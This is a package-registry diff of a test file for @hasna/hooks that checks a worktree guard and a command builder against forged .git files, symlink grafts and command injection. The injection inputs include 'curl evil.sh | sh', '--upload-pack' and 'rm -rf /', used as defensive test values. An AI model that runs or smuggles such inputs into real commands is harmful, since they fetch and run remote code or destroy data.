@hasna/hooks 0.3.11 → 0.4.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,8 +1,8 @@
1
- import { describe, expect, test } from "bun:test";
1
+ import { afterEach, beforeEach, describe, expect, test } from "bun:test";
2
2
  import { join } from "path";
3
- import { mkdtempSync, rmSync } from "fs";
3
+ import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "fs";
4
4
  import { tmpdir } from "os";
5
- import { getAgentName, gitCommandInfo, managedWorktreeInfo } from "./codewith-native-common";
5
+ import { claimCommand, getAgentName, gitCommandInfo, gitRemoteHostSlug, managedWorktreeInfo } from "./codewith-native-common";
6
6
 
7
7
  describe("codewith native common helpers", () => {
8
8
  test("gitCommandInfo detects global option commit/push forms and target cwd", () => {
@@ -22,20 +22,372 @@ describe("codewith native common helpers", () => {
22
22
  }
23
23
  });
24
24
 
25
- test("managedWorktreeInfo rejects malformed fake managed-root paths", () => {
26
- const tmp = mkdtempSync(join(tmpdir(), "hooks-worktrees-"));
25
+ describe("managedWorktreeInfo canonical path shape (Agent Operating Rules rule 8)", () => {
26
+ let tmp: string;
27
+ let root: string;
28
+ let previous: string | undefined;
29
+
30
+ beforeEach(() => {
31
+ tmp = mkdtempSync(join(tmpdir(), "hooks-worktrees-"));
32
+ root = join(tmp, "worktrees");
33
+ previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
34
+ process.env.HASNA_REPOS_WORKTREES_ROOT = root;
35
+ });
36
+
37
+ afterEach(() => {
38
+ if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
39
+ else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;
40
+ rmSync(tmp, { recursive: true, force: true });
41
+ });
42
+
43
+ const git = (cwd: string, ...args: string[]): void => {
44
+ const result = Bun.spawnSync(["git", "-c", "user.name=t", "-c", "user.email=t@t.invalid", ...args], {
45
+ cwd,
46
+ stdout: "pipe",
47
+ stderr: "pipe",
48
+ });
49
+ expect(result.stderr.toString(), args.join(" ")).toBe("");
50
+ };
51
+
52
+ /** A real repository, so provenance checks see what git actually writes. */
53
+ const makeSourceRepo = (): string => {
54
+ const source = join(tmp, `source-${Math.random().toString(36).slice(2)}`);
55
+ mkdirSync(source, { recursive: true });
56
+ git(source, "init", "-q", "-b", "main");
57
+ writeFileSync(join(source, "README.md"), "fixture\n");
58
+ git(source, "add", "README.md");
59
+ git(source, "commit", "-qm", "fixture");
60
+ return source;
61
+ };
62
+
63
+ /** A genuine linked worktree at the canonical path, created by git itself. */
64
+ const makeWorktree = (repo: string, worktree: string, kind: "linked" | "standalone" = "linked"): string => {
65
+ const worktreeRoot = join(root, repo, worktree);
66
+ mkdirSync(join(root, repo), { recursive: true });
67
+ if (kind === "standalone") {
68
+ mkdirSync(worktreeRoot, { recursive: true });
69
+ git(worktreeRoot, "init", "-q", "-b", "main");
70
+ } else {
71
+ git(makeSourceRepo(), "worktree", "add", "-q", "--detach", worktreeRoot);
72
+ }
73
+ return worktreeRoot;
74
+ };
75
+
76
+ test("accepts the canonical <repo-name>/<worktree-name> worktree root", () => {
77
+ const worktreeRoot = makeWorktree("open-hooks", "OPE61-00004-worktree-guard");
78
+ const info = managedWorktreeInfo(worktreeRoot);
79
+ expect(info.managed).toBe(true);
80
+ expect(info.layout).toBe("canonical");
81
+ expect(info.repo).toBe("open-hooks");
82
+ expect(info.worktree).toBe("OPE61-00004-worktree-guard");
83
+ expect(info.worktreeRoot).toBe(worktreeRoot);
84
+ expect(info.deprecated).toBeUndefined();
85
+ });
86
+
87
+ test("accepts a canonical path whose checkout is a standalone repo", () => {
88
+ // Rule 8 governs where the checkout lives, not whether it is a linked worktree.
89
+ expect(managedWorktreeInfo(makeWorktree("open-hooks", "standalone", "standalone")).managed).toBe(true);
90
+ });
91
+
92
+ test("rejects a forged .git file that grafts the path onto a shared checkout", () => {
93
+ // A `.git` file is two lines of text. Pointing it at a shared checkout's `.git`
94
+ // makes git commit/push from here land on that checkout — so shape and the mere
95
+ // presence of `.git` are not evidence; provenance has to be proven.
96
+ const shared = makeSourceRepo();
97
+ const forged = join(root, "victimrepo", "wt");
98
+ mkdirSync(forged, { recursive: true });
99
+ writeFileSync(join(forged, ".git"), `gitdir: ${join(shared, ".git")}\n`);
100
+
101
+ const info = managedWorktreeInfo(forged);
102
+ expect(info.managed).toBe(false);
103
+ expect(info.reason).toContain("provenance could not be verified");
104
+ });
105
+
106
+ test("rejects a .git directory grafted onto another repository", () => {
107
+ const grafted = join(root, "victimrepo", "grafted");
108
+ mkdirSync(join(grafted, ".git"), { recursive: true });
109
+ writeFileSync(join(grafted, ".git", "HEAD"), "ref: refs/heads/main\n");
110
+ writeFileSync(join(grafted, ".git", "commondir"), "/elsewhere/.git\n");
111
+
112
+ expect(managedWorktreeInfo(grafted).reason).toContain("grafted onto another repository");
113
+ });
114
+
115
+ test("rejects a .git directory whose object or ref storage is symlinked away", () => {
116
+ // Needs no write inside the victim: symlinking objects+refs makes commits here
117
+ // land on the victim's refs, the same end state as a forged .git file.
118
+ const shared = makeSourceRepo();
119
+ for (const [name, store] of [["objects-graft", "objects"], ["refs-graft", "refs"]] as const) {
120
+ const grafted = join(root, "victimrepo", name);
121
+ mkdirSync(join(grafted, ".git"), { recursive: true });
122
+ writeFileSync(join(grafted, ".git", "HEAD"), "ref: refs/heads/main\n");
123
+ for (const dir of ["objects", "refs"]) {
124
+ if (dir === store) symlinkSync(join(shared, ".git", dir), join(grafted, ".git", dir));
125
+ else mkdirSync(join(grafted, ".git", dir), { recursive: true });
126
+ }
127
+ const info = managedWorktreeInfo(grafted);
128
+ expect(info.managed, name).toBe(false);
129
+ expect(info.reason, name).toContain(`${store} is grafted onto another repository`);
130
+ }
131
+ });
132
+
133
+ test("rejects a worktree whose repository no longer registers it", () => {
134
+ // Real fleet state: the parent repo was pruned, so git itself refuses to work here.
135
+ const worktreeRoot = makeWorktree("open-hooks", "orphaned");
136
+ rmSync(join(tmp, "..", "unused"), { recursive: true, force: true });
137
+ writeFileSync(join(worktreeRoot, ".git"), "gitdir: /nonexistent/.git/worktrees/orphaned\n");
138
+
139
+ expect(managedWorktreeInfo(worktreeRoot).managed).toBe(false);
140
+ });
141
+
142
+ test("accepts subdirectories of a canonical worktree", () => {
143
+ const worktreeRoot = makeWorktree("open-hooks", "OPE61-00004-worktree-guard");
144
+ mkdirSync(join(worktreeRoot, "hooks", "worktree-guard", "src"), { recursive: true });
145
+
146
+ for (const nested of [
147
+ join(worktreeRoot, "hooks"),
148
+ join(worktreeRoot, "hooks", "worktree-guard", "src"),
149
+ ]) {
150
+ const info = managedWorktreeInfo(nested);
151
+ expect(info.managed).toBe(true);
152
+ expect(info.layout).toBe("canonical");
153
+ expect(info.worktreeRoot).toBe(worktreeRoot);
154
+ }
155
+ });
156
+
157
+ test("rejects a subdirectory of a flat worktree, which has the canonical shape", () => {
158
+ // The whole point of the flat prohibition: `<root>/<flat-wt>/<subdir>` is
159
+ // shape-identical to `<root>/<repo>/<worktree>`, so a `cd` must not launder it.
160
+ const flat = join(root, "open-hooks-flat-worktree");
161
+ mkdirSync(join(flat, "src"), { recursive: true });
162
+ git(makeSourceRepo(), "worktree", "add", "-q", "--detach", join(flat, "checkout"));
163
+
164
+ const info = managedWorktreeInfo(join(flat, "src"));
165
+ expect(info.managed).toBe(false);
166
+ expect(info.reason).toContain("is not a git worktree root (no .git)");
167
+ });
168
+
169
+ test("rejects a canonical-shaped path that is not a worktree root", () => {
170
+ mkdirSync(join(root, "invented", "worktree"), { recursive: true });
171
+ expect(managedWorktreeInfo(join(root, "invented", "worktree")).reason).toContain("not a git worktree root");
172
+ expect(managedWorktreeInfo(join(root, "never", "created")).reason).toContain("no worktree exists at");
173
+ });
174
+
175
+ test("rejects a canonical-shaped path reached through a symlink", () => {
176
+ // A symlinked segment can aim a compliant-looking path at a shared checkout.
177
+ const shared = join(tmp, "shared-checkout");
178
+ mkdirSync(shared, { recursive: true });
179
+ writeFileSync(join(shared, ".git"), "gitdir: /elsewhere\n");
180
+ mkdirSync(join(root, "open-hooks"), { recursive: true });
181
+ symlinkSync(shared, join(root, "open-hooks", "linked"));
182
+ symlinkSync(join(tmp, "shared-checkout"), join(root, "linked-repo"));
183
+ mkdirSync(join(tmp, "shared-checkout", "wt"), { recursive: true });
184
+
185
+ expect(managedWorktreeInfo(join(root, "open-hooks", "linked")).reason).toContain("traverses a symlink");
186
+ expect(managedWorktreeInfo(join(root, "linked-repo", "wt")).reason).toContain("traverses a symlink");
187
+ });
188
+
189
+ test("rejects a flat single-segment worktree under the worktrees root", () => {
190
+ const info = managedWorktreeInfo(join(root, "open-hooks-flat-worktree"));
191
+ expect(info.managed).toBe(false);
192
+ expect(info.layout).toBeUndefined();
193
+ expect(info.reason).toContain("flat under the worktrees root");
194
+ expect(info.reason).toContain(join(root, "<repo-name>", "<worktree-name>"));
195
+ });
196
+
197
+ test("rejects the worktrees root itself", () => {
198
+ const info = managedWorktreeInfo(root);
199
+ expect(info.managed).toBe(false);
200
+ expect(info.reason).toContain("worktrees root itself");
201
+ });
202
+
203
+ test("rejects paths outside the worktrees root", () => {
204
+ const info = managedWorktreeInfo(join(tmp, "elsewhere", "open-hooks"));
205
+ expect(info.managed).toBe(false);
206
+ expect(info.reason).toBe("outside worktrees root");
207
+ });
208
+
209
+ test("rejects a station-id segment in front of <repo>/<worktree>", () => {
210
+ const info = managedWorktreeInfo(join(root, "station01", "open-hooks", "OPE61-00004-worktree-guard"));
211
+ expect(info.managed).toBe(false);
212
+ expect(info.reason).toContain("station-id/machine segment or extra nesting");
213
+ expect(info.reason).toContain(join(root, "<repo-name>", "<worktree-name>"));
214
+ });
215
+
216
+ const LEASE = ["station01", "open-hooks-a55c105a", "wt_2ab04216a30ef5ece642792e"];
217
+
218
+ /** The historical lease layout, with the checkout at the lease dir or in `repo/`. */
219
+ const makeLeaseWorktree = (nested: boolean): string => {
220
+ const leaseRoot = join(root, ...LEASE);
221
+ const checkout = nested ? join(leaseRoot, "repo") : leaseRoot;
222
+ mkdirSync(join(checkout, ".."), { recursive: true });
223
+ git(makeSourceRepo(), "worktree", "add", "-q", "--detach", checkout);
224
+ return checkout;
225
+ };
226
+
227
+ test("rejects the deprecated station-id lease layout, labelling it for migration", () => {
228
+ const info = managedWorktreeInfo(makeLeaseWorktree(false));
229
+ expect(info.managed).toBe(false);
230
+ expect(info.layout).toBe("legacy-station-lease");
231
+ expect(info.deprecated).toBe(true);
232
+ expect(info.reason).toContain("deprecated station-id lease layout");
233
+ expect(info.reason).toContain(join(root, "<repo-name>", "<worktree-name>"));
234
+ });
235
+
236
+ test("recognises the legacy lease layout from inside it, like a canonical subdirectory", () => {
237
+ const leaseRoot = makeLeaseWorktree(false);
238
+ mkdirSync(join(leaseRoot, "src"), { recursive: true });
239
+ const info = managedWorktreeInfo(join(leaseRoot, "src"));
240
+ expect(info.layout).toBe("legacy-station-lease");
241
+ expect(info.worktreeRoot).toBe(leaseRoot);
242
+ });
243
+
244
+ test("recognises the legacy variant whose checkout sits in a repo/ child", () => {
245
+ const checkout = makeLeaseWorktree(true);
246
+ const info = managedWorktreeInfo(checkout);
247
+ expect(info.layout).toBe("legacy-station-lease");
248
+ expect(info.worktreeRoot).toBe(checkout);
249
+ });
250
+
251
+ test("does not let the legacy lease name pattern launder an ungrounded path", () => {
252
+ // The migration tolerance grants a weaker verdict than "blocked", so two
253
+ // directories named to match the pattern must not buy it without provenance.
254
+ const shared = makeSourceRepo();
255
+ mkdirSync(join(root, "anything", "y-abcdef1"), { recursive: true });
256
+ symlinkSync(shared, join(root, "anything", "y-abcdef1", "wt_0123456789abcdef"));
257
+ mkdirSync(join(root, "other", "z-abcdef1", "wt_0123456789abcdef"), { recursive: true });
258
+
259
+ for (const forged of [
260
+ join(root, "anything", "y-abcdef1", "wt_0123456789abcdef"),
261
+ join(root, "other", "z-abcdef1", "wt_0123456789abcdef"),
262
+ ]) {
263
+ const info = managedWorktreeInfo(forged);
264
+ expect(info.managed, forged).toBe(false);
265
+ expect(info.layout, forged).toBeUndefined();
266
+ }
267
+ });
268
+
269
+ test("rejects nesting deeper than the canonical shape", () => {
270
+ const info = managedWorktreeInfo(join(root, "station01", "open-hooks", "wt-name", "repo"));
271
+ expect(info.managed).toBe(false);
272
+ expect(info.layout).toBeUndefined();
273
+ expect(info.reason).toContain("station-id/machine segment or extra nesting");
274
+ });
275
+
276
+ test("rejects malformed canonical segments", () => {
277
+ expect(managedWorktreeInfo(join(root, "-bad-repo", "worktree")).reason).toContain("repo-name segment is malformed");
278
+ expect(managedWorktreeInfo(join(root, "open-hooks", "-bad-worktree")).reason).toContain("worktree-name segment is malformed");
279
+ expect(managedWorktreeInfo(join(root, ".hidden", "worktree")).reason).toContain("repo-name segment is malformed");
280
+ expect(managedWorktreeInfo(join(root, "open-hooks", ".git")).reason).toContain("worktree-name segment is malformed");
281
+ });
282
+
283
+ test("accepts ordinary directory names an allowlist would wrongly reject", () => {
284
+ // Observed on the fleet: connectors/_base. Long and punctuated names are legal
285
+ // directory names, so the guard must not invent a stricter naming rule.
286
+ for (const [repo, worktree] of [
287
+ ["connectors", "_base"],
288
+ ["c++utils", "OPE61-00004"],
289
+ ["open-hooks", "e".repeat(200)],
290
+ ["Open-Hooks", "task~1 with spaces"],
291
+ ]) {
292
+ expect(managedWorktreeInfo(makeWorktree(repo!, worktree!)).managed, `${repo}/${worktree}`).toBe(true);
293
+ }
294
+ });
295
+ });
296
+
297
+ test("claimCommand renders the canonical worktree path template", () => {
27
298
  const previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
28
- process.env.HASNA_REPOS_WORKTREES_ROOT = join(tmp, "worktrees");
299
+ process.env.HASNA_REPOS_WORKTREES_ROOT = "/root/worktrees";
29
300
  try {
30
- const valid = join(tmp, "worktrees", "station01", "open-hooks-a55c105a", "wt_2ab04216a30ef5ece642792e", "repo");
31
- expect(managedWorktreeInfo(valid).managed).toBe(true);
32
- expect(managedWorktreeInfo(join(tmp, "worktrees", "station01", "open-hooks-a55c105a", "wt_fake", "repo")).managed).toBe(false);
33
- expect(managedWorktreeInfo(join(tmp, "worktrees", "station01", "open-hooks-nohash", "wt_2ab04216a30ef5ece642792e", "repo")).managed).toBe(false);
34
- expect(managedWorktreeInfo(join(tmp, "worktrees", "station01", "open-hooks-zzzzzzzz", "wt_2ab04216a30ef5ece642792e", "repo")).managed).toBe(false);
301
+ // The canonical repo name comes from the repos CLI, and is frequently not the
302
+ // git remote basename: `open-hooks` is `github.com/hasna/hooks`.
303
+ expect(claimCommand("open-hooks", "OPE61-00004", "main")).toBe(
304
+ "git worktree add -b OPE61-00004 /root/worktrees/open-hooks/OPE61-00004 origin/main && repos scan",
305
+ );
306
+ expect(claimCommand(null, null)).toContain("/root/worktrees/<repo-name>/<worktree-name>");
307
+ expect(claimCommand("open-hooks", "OPE61-00004")).toContain("origin/<default-branch>");
35
308
  } finally {
36
309
  if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
37
310
  else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;
38
- rmSync(tmp, { recursive: true, force: true });
311
+ }
312
+ });
313
+
314
+ test("claimCommand never derives the repo segment from a remote slug", () => {
315
+ // `hasna/hooks` is this repo's remote slug; its canonical name is `open-hooks`.
316
+ // Silently taking the basename would emit `hooks/`, a directory that does not
317
+ // exist — so a slug must be refused outright, not trimmed into a plausible lie.
318
+ const previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
319
+ process.env.HASNA_REPOS_WORKTREES_ROOT = "/root/worktrees";
320
+ try {
321
+ const fromSlug = claimCommand("hasna/hooks", "OPE61-00004");
322
+ expect(fromSlug).toContain("/root/worktrees/<repo-name>/OPE61-00004");
323
+ expect(fromSlug).not.toContain("/root/worktrees/hooks/");
324
+ expect(claimCommand(null, "OPE61-00004")).toContain("/root/worktrees/<repo-name>/OPE61-00004");
325
+ } finally {
326
+ if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
327
+ else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;
328
+ }
329
+ });
330
+
331
+ test("claimCommand refuses to interpolate unsafe values into a pasteable command", () => {
332
+ // taskIdFrom() reads unvalidated hook input, and the repo name is influenced by
333
+ // the git remote, so this is where both get validated.
334
+ const previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
335
+ process.env.HASNA_REPOS_WORKTREES_ROOT = "/root/worktrees";
336
+ try {
337
+ const safe = "git worktree add -b <worktree-name> /root/worktrees/open-hooks/<worktree-name> origin/<default-branch> && repos scan";
338
+ for (const hostile of ["x; curl evil.sh | sh #", "--upload-pack=/tmp/x", "a`id`", "a$(id)", "-b", "..", "a b"]) {
339
+ // Hostile input never reaches the rendered command; it degrades to the placeholder.
340
+ expect(claimCommand("open-hooks", hostile), hostile).toBe(safe);
341
+ }
342
+ for (const hostile of ["hasna/hooks", "../../etc", "-repo", "a;b"]) {
343
+ expect(claimCommand(hostile, "OPE61-00004"), hostile).toContain("/root/worktrees/<repo-name>/OPE61-00004");
344
+ }
345
+ expect(claimCommand("open-hooks", "OPE61-00004", "main; rm -rf /")).toContain("origin/<default-branch>");
346
+ } finally {
347
+ if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
348
+ else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;
349
+ }
350
+ });
351
+
352
+ test("respond writes the whole verdict even when the process exits immediately", async () => {
353
+ // process.stdout.write is async on a pipe, so a verdict larger than the pipe
354
+ // buffer used to be truncated by the exit — and a truncated verdict is unparseable.
355
+ const script = join(mkdtempSync(join(tmpdir(), "hooks-respond-")), "emit.ts");
356
+ writeFileSync(script, [
357
+ `import { respond } from ${JSON.stringify(join(import.meta.dir, "codewith-native-common"))};`,
358
+ `respond({ decision: "block", reason: "x".repeat(1048576) });`,
359
+ "process.exit(0);",
360
+ ].join("\n"));
361
+
362
+ const proc = Bun.spawn([process.execPath, "run", script], { stdout: "pipe", stderr: "pipe" });
363
+ const stdout = await new Response(proc.stdout).text();
364
+ await proc.exited;
365
+
366
+ expect(stdout.length).toBeGreaterThan(1048576);
367
+ expect(JSON.parse(stdout).reason).toHaveLength(1048576);
368
+ });
369
+
370
+ test("gitRemoteHostSlug normalises origin to the repos CLI's exact host/org/name form", async () => {
371
+ const base = mkdtempSync(join(tmpdir(), "hooks-remote-"));
372
+ try {
373
+ const cases: Array<[string, string | null]> = [
374
+ ["https://github.com/hasna/hooks.git", "github.com/hasna/hooks"],
375
+ ["https://github.com/hasna/hooks", "github.com/hasna/hooks"],
376
+ ["git@github.com:hasna/hooks.git", "github.com/hasna/hooks"],
377
+ ["ssh://git@github.com/hasna/hooks.git", "github.com/hasna/hooks"],
378
+ // Not an org/name pair, so there is no exact repos CLI key to look up.
379
+ ["https://example.com/hooks.git", null],
380
+ ];
381
+
382
+ for (const [remote, expected] of cases) {
383
+ const repo = join(base, `repo-${cases.findIndex(([r]) => r === remote)}`);
384
+ mkdirSync(repo, { recursive: true });
385
+ expect(Bun.spawnSync(["git", "init", "-q"], { cwd: repo }).exitCode).toBe(0);
386
+ expect(Bun.spawnSync(["git", "remote", "add", "origin", remote], { cwd: repo }).exitCode).toBe(0);
387
+ expect(await gitRemoteHostSlug(repo), remote).toBe(expected);
388
+ }
389
+ } finally {
390
+ rmSync(base, { recursive: true, force: true });
39
391
  }
40
392
  });
41
393